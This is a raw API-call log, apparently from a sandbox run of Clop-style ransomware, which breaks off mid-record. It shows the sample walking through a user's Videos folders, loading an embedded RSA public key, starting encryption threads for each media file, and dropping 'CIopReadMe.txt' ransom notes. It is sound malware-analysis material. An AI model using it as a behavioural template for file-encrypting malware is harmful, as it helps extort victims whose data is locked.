FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0103.296] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0103.296] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0103.296] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0103.296] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0103.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0103.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.296] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0103.296] lstrcmpW (lpString1="wNN lOPK", lpString2="..") returned 1 [0103.296] lstrcmpW (lpString1="wNN lOPK", lpString2=".") returned 1 [0103.296] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0103.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0103.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0103.296] SetErrorMode (uMode=0x1) returned 0x1 [0103.296] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0103.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0103.296] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0103.296] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0103.296] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e4b8 [0103.296] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0103.296] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0103.296] FindNextFileW (in: hFindFile=0x67e4b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.296] FindNextFileW (in: hFindFile=0x67e4b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.296] lstrcmpW (lpString1="33G0h-QVWGTGNhCEha.mp4", lpString2="..") returned 1 [0103.296] lstrcmpW (lpString1="33G0h-QVWGTGNhCEha.mp4", lpString2=".") returned 1 [0103.296] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned 42 [0103.296] Sleep (dwMilliseconds=0xd) [0103.467] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.467] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="33G0h-QVWGTGNhCEha.mp4" | out: lpString1="33G0h-QVWGTGNhCEha.mp4") returned="33G0h-QVWGTGNhCEha.mp4" [0103.467] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0103.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0103.467] WaitForSingleObject (hHandle=0x640, dwMilliseconds=0xffffffff) returned 0x0 [0103.803] SetErrorMode (uMode=0x1) returned 0x1 [0103.803] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\CIopReadMe.txt") returned 52 [0103.803] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.803] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0103.803] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0103.803] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0103.803] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0103.803] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0103.803] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604 [0103.804] WriteFile (in: hFile=0x604, lpBuffer=0x68b0d0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x68b0d0*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0103.804] CloseHandle (hObject=0x604) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x67e4b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.805] lstrcmpW (lpString1="S20n9CABG0uo.mp4", lpString2="..") returned 1 [0103.805] lstrcmpW (lpString1="S20n9CABG0uo.mp4", lpString2=".") returned 1 [0103.805] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned 42 [0103.805] Sleep (dwMilliseconds=0xd) [0103.863] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.863] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="S20n9CABG0uo.mp4" | out: lpString1="S20n9CABG0uo.mp4") returned="S20n9CABG0uo.mp4" [0103.863] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0103.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0103.864] SetErrorMode (uMode=0x1) returned 0x1 [0103.864] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\CIopReadMe.txt") returned 52 [0103.864] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x63c [0103.864] CloseHandle (hObject=0x63c) returned 1 [0103.864] FindNextFileW (in: hFindFile=0x67e4b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.864] FindNextFileW (in: hFindFile=0x67e4b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0103.864] FindClose (in: hFindFile=0x67e4b8 | out: hFindFile=0x67e4b8) returned 1 [0103.864] FindClose (in: hFindFile=0x67e4b8 | out: hFindFile=0x67e4b8) returned 0 [0103.864] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0103.864] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0103.864] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e938 [0103.864] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0103.864] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0103.864] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0103.864] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0103.864] FindNextFileW (in: hFindFile=0x67e938, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.865] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0103.865] FindNextFileW (in: hFindFile=0x67e938, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.865] FindNextFileW (in: hFindFile=0x67e938, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.865] FindNextFileW (in: hFindFile=0x67e938, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.865] FindNextFileW (in: hFindFile=0x67e938, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0103.865] lstrcmpW (lpString1="ugEH", lpString2="..") returned 1 [0103.865] lstrcmpW (lpString1="ugEH", lpString2=".") returned 1 [0103.865] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0103.865] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0103.865] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0103.865] SetErrorMode (uMode=0x1) returned 0x1 [0103.865] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0103.865] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0103.865] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0103.865] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0103.865] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e438 [0103.865] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0103.865] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0103.865] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0103.865] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0103.865] lstrcmpW (lpString1="62uD.avi", lpString2="..") returned 1 [0103.865] lstrcmpW (lpString1="62uD.avi", lpString2=".") returned 1 [0103.865] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned 47 [0103.865] Sleep (dwMilliseconds=0xd) [0103.907] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.908] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="62uD.avi" | out: lpString1="62uD.avi") returned="62uD.avi" [0103.908] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0103.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0103.908] SetErrorMode (uMode=0x1) returned 0x1 [0103.908] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\CIopReadMe.txt") returned 57 [0103.908] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.908] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0103.908] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0103.908] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0103.908] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0103.908] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0103.908] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0104.012] WriteFile (in: hFile=0x624, lpBuffer=0x68b0d0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc51cc, lpOverlapped=0x0 | out: lpBuffer=0x68b0d0*, lpNumberOfBytesWritten=0x2dc51cc*=0x759, lpOverlapped=0x0) returned 1 [0104.013] CloseHandle (hObject=0x624) returned 1 [0104.013] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0104.013] lstrcmpW (lpString1="Eowo0nLnhzDtXx7wGkmW.mp4", lpString2="..") returned 1 [0104.013] lstrcmpW (lpString1="Eowo0nLnhzDtXx7wGkmW.mp4", lpString2=".") returned 1 [0104.013] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned 47 [0104.013] Sleep (dwMilliseconds=0xd) [0104.203] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.203] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="Eowo0nLnhzDtXx7wGkmW.mp4" | out: lpString1="Eowo0nLnhzDtXx7wGkmW.mp4") returned="Eowo0nLnhzDtXx7wGkmW.mp4" [0104.203] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0104.203] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0104.203] WaitForSingleObject (hHandle=0x628, dwMilliseconds=0xffffffff) returned 0x0 [0104.529] SetErrorMode (uMode=0x1) returned 0x1 [0104.529] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\CIopReadMe.txt") returned 57 [0104.529] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x638 [0104.530] CloseHandle (hObject=0x638) returned 1 [0104.530] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0104.530] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0104.530] FindClose (in: hFindFile=0x67e438 | out: hFindFile=0x67e438) returned 1 [0104.530] FindClose (in: hFindFile=0x67e438 | out: hFindFile=0x67e438) returned 0 [0104.530] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0104.530] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0104.530] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e438 [0104.530] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0104.530] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0104.530] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0104.530] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0104.530] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0104.530] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0104.530] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0104.530] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0104.530] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0104.530] FindNextFileW (in: hFindFile=0x67e438, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0104.530] lstrcmpW (lpString1="VAlp", lpString2="..") returned 